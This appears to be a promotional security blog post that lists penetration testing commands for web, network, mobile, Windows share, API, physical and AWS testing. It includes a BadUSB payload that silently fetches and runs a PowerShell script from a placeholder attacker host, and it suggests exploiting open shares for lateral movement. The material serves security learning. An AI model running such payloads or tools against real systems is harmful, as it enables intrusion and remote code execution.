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Introduction
Cybersecurity audits and penetration testing are critical for identifying vulnerabilities in web applications, mobile apps, internal/external systems, and network infrastructure. A structured checklist ensures thorough testing and reduces the risk of oversight. Below, we outline key commands, techniques, and best practices for security professionals.
Learning Objectives
- Understand critical steps in penetration testing across different attack surfaces.
- Learn verified Linux/Windows commands for vulnerability assessment.
- Implement security hardening measures for networks and APIs.
You Should Know
1. Web Application Penetration Testing
Command:
sqlmap -u "http://example.com/login" --data="username=admin&password=pass" --risk=3 --level=5
Step-by-Step Guide:
1. Install sqlmap: `sudo apt-get install sqlmap` (Linux)
- Run the command against a target URL with form parameters.
3. `–risk=3` enables higher-risk tests, while `–level=5` performs extensive checks.
4. Review output for SQL injection vulnerabilities.
2. Network Vulnerability Scanning
Command:
nmap -sV -A -T4 192.168.1.1
Step-by-Step Guide:
- Install Nmap: `sudo apt-get install nmap` (Linux) or download from nmap.org.
2. `-sV` detects service versions, `-A` enables OS/script detection, and `-T4` speeds up scanning.
3. Analyze open ports and services for misconfigurations.
3. Mobile Application Security Testing
Tool: MobSF (Mobile Security Framework)
Setup:
docker pull opensecurity/mobile-security-framework-mobsf docker run -p 8000:8000 opensecurity/mobile-security-framework-mobsf
Steps:
- Upload APK/IPA files to the MobSF web interface (http://localhost:8000).
- Review static/dynamic analysis reports for insecure APIs, hardcoded keys, or permission issues.
4. Internal System Penetration Testing
Command (Windows):
Invoke-ShareFinder -CheckShareAccess -Verbose
Steps:
1. Run in PowerShell (requires PowerView module).
2. Identifies accessible SMB shares in a domain.
3. Exploit misconfigured shares for lateral movement.
5. API Security Hardening
Command:
curl -H "Authorization: Bearer <token>" -X GET https://api.example.com/data
Best Practices:
1. Always use HTTPS and validate input/output.
2. Implement rate limiting and OAuth2.0.
- Test for broken object-level authorization (BOLA) with tools like Postman.
6. Physical Security Testing
Tool: BadUSB (Rubber Ducky)
Payload Example:
DELAY 1000
STRING powershell -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')"
Mitigation:
- Disable auto-run for USB devices via Group Policy (Windows) or udev rules (Linux).
7. Cloud Security Hardening (AWS)
Command:
aws iam get-account-authorization-details --query 'Policies[?Arn==<code>arn:aws:iam::aws:policy/AdministratorAccess</code>]'
Steps:
1. Audit IAM policies for excessive permissions.
2. Apply the principle of least privilege (PoLP).
What Undercode Say
- Key Takeaway 1: Automation tools (sqlmap, Nmap) save time but require careful interpretation to avoid false positives.
- Key Takeaway 2: Physical and API security are often overlooked but equally critical as network defenses.
Analysis:
The increasing complexity of cyber threats demands a multi-layered defense strategy. Regular audits, combined with automated scanning and manual testing, ensure comprehensive coverage. Future trends suggest AI-driven penetration testing tools will dominate, but human expertise remains irreplaceable for interpreting results and contextual risks.
Prediction
By 2026, AI-powered penetration testing tools will reduce manual effort by 40%, but skilled auditors will still be needed to validate findings and address sophisticated social engineering attacks.
For the full checklist referenced in the post, visit the LinkedIn link.
IT/Security Reporter URL:
Reported By: Koutora Anicet – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
